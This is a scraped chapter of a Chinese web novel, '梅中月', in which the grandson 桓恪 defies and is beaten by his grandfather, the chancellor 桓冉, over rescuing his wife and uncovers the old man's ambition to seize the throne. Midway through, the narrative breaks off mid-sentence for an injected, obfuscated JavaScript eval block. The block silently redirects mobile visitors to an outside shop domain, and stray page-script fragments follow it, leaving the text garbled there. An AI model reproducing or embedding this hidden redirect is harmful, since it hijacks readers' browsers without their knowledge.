文趣网 > 其他小说 > 梅中月 > 29. 桓家
    十五日前,清河。

    军营里肃穆凛然,刻着巨大桓字的幡旗在寒风中猎猎飞舞,士卒们井然有序,或操练刀剑,或巡逻勘查,或为前线送回来的伤兵包扎伤口。

    一青年男子在军营里步履匆匆,他约莫二十岁左右,面如冠玉、清隽俊雅,穿着一身空青色直裾袍服,发束玉冠,明明应该是风情朗月的模样,可是他却极为消瘦,脸色颓靡苍白,眼眶凹陷,仿佛被抽走了三魂七魄,下一瞬就能被风吹倒。他十分焦急,手上拿着一封信,向帅帐奔去。

    帅帐门口的两位卫兵见桓恪来,交叉长枪,高声道:“公子,丞相正在里面谈事,吩咐任何人不得进入。”

    桓恪平时说话温润和雅,注意分寸,但此时他必须立马见到祖父,顾不得其它。他厉声道:“我有急事要报。”

    “不可。”其中一个卫兵道,“丞相特意交代过,任何人都不得入内,莫说公子您了,哪怕是公子您的父亲也不行。”

    桓恪拧眉,叱道:“有什么事我自己承担,祖父不是不讲理的人。”

    他身形一晃,直接越过两个卫兵闪进营帐。他一掀开帘子,就被眼前的景象震惊,他原本以为祖父不让任何人进来,是在与联军的将领们上商讨机密,没有想到这里除了祖父,只有一个头戴五岳冠的白发道士。

    白发道士踏罡步斗,在石板地上按特定的方位和步伐绕行,看上去在模仿北斗运转,他边行边口中振振有词的吆喝“天机显现”,手持朱砂黄纸书,而靠门的地上有一个祭坛,上面正有刻有小篆经文的符箓熊熊燃烧。

    那符箓似有硫磺,味道刺鼻,刺得桓恪呛了一声鼻子。

    桌案后凝神望着道士做法的威严老人被呛声惊扰,他气得猛拍桌子,怒道:“赶紧出去,我不是喊任何人不得进来吗。”

    进来认罪的门卫赶忙出去。

    桓恪不动,他走近几步,绕过那个做法的道士,面带狂喜地说道:“祖父,有景安的消息了,她还活着!”

    桓冉一顿,道:“恪儿,你说什么。”

    桓恪以为祖父没有听清楚,高声道,企图压过那个神神叨叨念法的道士,“祖父,有景安的消息了。攻占宣州的那个反贼派人送了一份信给我,信上说景安还活着,如今在燮州朔城。请祖父允许我带三千轻骑去往燮州,把景安带回来。”

    话甫毕,他上前一步,把手上紧紧拽着的那封信递给祖父,桓冉沉默地接了过去,那封信的边角很皱了,上面的字迹肆意不羁,笔触狂妄地写道了丹虎军是如何攻占宣州,又是如何把宣州州牧夫人带去燮州,并且说道如果桓恪愿意带兵来宣州接刘景安,那么他不会拿刘景安怎么样。

    那封信的末尾有一个信印,刻着獠牙尖利的血色老虎,狰狞可怖。

    桓冉眉头加深,似乎是在判断这封信的真假,良久,他问道:“这封信是谁交给你的。”

    桓恪答道:“是清河驿站的官吏快马呈递上来的。”

    桓冉语气不明道:“恪儿,这个时候,你的重点不应该是敌人如何渗透清河这边的通讯系统吗,清河可是桓家势力最大的地方啊,这样都能有敌人悄无声息地把信带给驿站,底下人该换一批了。”

    “祖父!”桓恪眉毛倒竖,抿紧嘴唇道:“这些的事之后都可以查明,现在的当务之急是景安的安危,请允许孙儿带三千轻骑前往燮州!”

    “这封信你有什么办法证明它是真的。恪儿,我知道你很担心景安,所以病急乱投医,可是这个自封枭奇王的反贼你也知道,他怎么会放过他的敌人,怎么会让战败的那方将领主帅活着...景安多半已经遭遇不测了。这封信多半是那个反贼的诱饵。”

    桓恪沉默,他知道祖父说的是真的,枭奇王怎么会放过他的敌人,可是,“祖父,我一定要去燮州,那个反贼说了,只要我去,他就会放过景安,只要有一丝可能,我都不会放过。我今天来,也只是跟您说一声,您同不同意都没关系,我待会就领兵出发。”

    桓冉心中不悦,桓恪长这么大从来这么忤逆过他,却放软语调稳住桓恪,“恪儿,你先别急,等我派人再去探查消息。”

    桓恪再次沉默,他听到临水城破的消息时,恸到吐血晕厥过去,连续发烧几天无法起床,偶尔清醒的间隙,他恳求祖父、父亲派人去搜查景安的下落,他们答应了,可是他等啊等啊,始终没有一点零星的消息。

    他望着自己祖父的那双眼睛,那双年迈的眼睛已经浑浊不堪,充满了算计,听到景安还活着消息时,也没有迸出一点高兴,仿佛无知无觉。

    究竟是没有景安的消息,还是祖父、父亲不愿去探查景安的消息。

    一个悲哀的猜测从桓恪的心底冒出,他越想去否认,越不可控制。

    桓恪道:“祖父,我如今病已经好了,景安是我的妻子,我亲自去,恕孙儿告辞。”

    他转身欲走,桓冉被他倔强坚决的态度激怒,大笑冷声道:“好啊,你为了儿女私情一走了之,又把桓家放在哪。那个反贼摆明了要你去送死,你去送死了,桓家怎么办,你下面的弟弟妹妹立不起来,一个比一个废物,到时候桓家就会因为人才凋零败落。你是桓家的嫡长孙,才学过人,士人典范,理应承担家族重任,却如此任性!”

    祖父的话让桓恪一顿,脚步停下。他静静地站在那儿,因为病重,身形已经十分单薄,但气度仍然如青松般。

    良久,他转过头道:“祖父,如今我最担心的是景安的安危,一想到她在寒冷的朔城等我,我就心如刀绞...如果我活着回来,我会继续承担桓家的命运,如果没有,那么我的弟弟妹妹也许会懂事一点,您可以继续培养他们。”

    “孽子啊,孽子!”桓冉大怒,大手一伸,拿过桌案旁的紫檀权杖,用尽全力往桓恪膝盖上一砸,桓恪色变,躲闪不及,双膝直接跪下,关节处的疼痛让他以为自己的腿断了,他

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17578040|204841||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    疼到抽气不跌。

    “桓恪,我和你父母辛苦把你抚养长大,望你成才,可你看看你现在什么样子,衣冠褶皱,发丝凌乱,从小交给你的礼仪都忘了吗?”

    见桓恪扶着膝盖要起来,桓冉又用权杖打他腰,桓恪发出痛哼,又跌倒在地。

    桓冉叱道:“你以为只有你心痛,却没有想过景安是我唯一的外孙女,她的安危我怎么会不担心。可现在是担心这个的时候吗。前线战事吃紧,董贼的下属皆是彪悍猛将,我方死伤惨重,而桓家的背后,是虎视眈眈的各路诸侯,他们一会要粮草一会要兵马,恨不得像蚂蝗一样扒在桓家身上吸血!这种时候,身为桓家主心骨之一,你要带兵去燮州,只会让军心散乱。而那些白白陪你去送死的士兵愿意吗?”

    祖父的责问如雷贯耳,不断拷问着桓恪的理智与情感。十八路诸侯出兵攻打董贼时,还在桓家的控制下,可是随着战事吃紧,人心浮动,不少人恨不得桓家分崩离析,瓜分资源。他在桓家腹背受敌的紧要关头重病在床,已经是没有尽到身为长孙的责任,如果带兵前往燮州,更是会为桓家的处境雪上加霜,祖父已经年迈,父亲身体不好,他的弟弟妹妹还没有经受过磨练,担不起事。

    膝盖、腰处痛得他直不起身,他张张嘴,所有的话都哽在心头。

    就在这时,一旁一直在做法事的白发道士发出一声怪异的长叫,把手上的朱砂黄纸书扔进门口处的祭坛,火焰瞬间把纸书吞噬,发出青色光芒,白发道士长叹一声,对桓冉说道:“梁朝命数已尽,天下有二主之象也。”

    听到这不祥的话,桓恪刚想说这道士妖言惑众,扰乱人心,就见祖父大喜,眼神狂热地追问,“有哪两主。”

    道士摇头,“天机之事不可多泄,贫道言尽于此。”

    两人的一来一回,听得桓恪震惊不已,就像心肺被泼入一盆凉水,他不可置信地仰头看着祖父,梁朝位高权重的丞相。面对梁朝国祚衰尽的预兆,桓冉的脸上没有一丝读书人的苦闷,只剩下了赤裸裸的野心,对分一杯羹的向往。

    桓恪不愿相信那个从小教着自己忠君爱国的祖父居然变成了这个样子,心里的某处就像崩塌了一样。为什么祖父会这么阻拦他去找景安,一切都通了,他又哭又笑,哀痛道:“祖父,你不让我去带回景安,是不是因为她身为我的夫人,我的表妹,身上却流着刘家的血,在你眼里,只要她在一天,我就会向着刘家,为刘家匡扶天下,阻碍您谋朝篡位的野心。”

    桓冉闭眼,老僧入定一般寂然。

    桓恪失望至极,知道他猜对了,流泪道:“姑姑死前,是怎么拉着您说的,她只有景安一个孩子,让您一定要护佑她平安。”

    桓冉嘴唇翕动,悲伤在他的眼里一闪而过,让眼睛骤然清明一瞬,又归于浑浊。良久,他狠下心肠,下定决心般地对桓恪说,“恪儿,并非我瞒着你,而是景安已经死了,是左小将军亲口告诉我的。”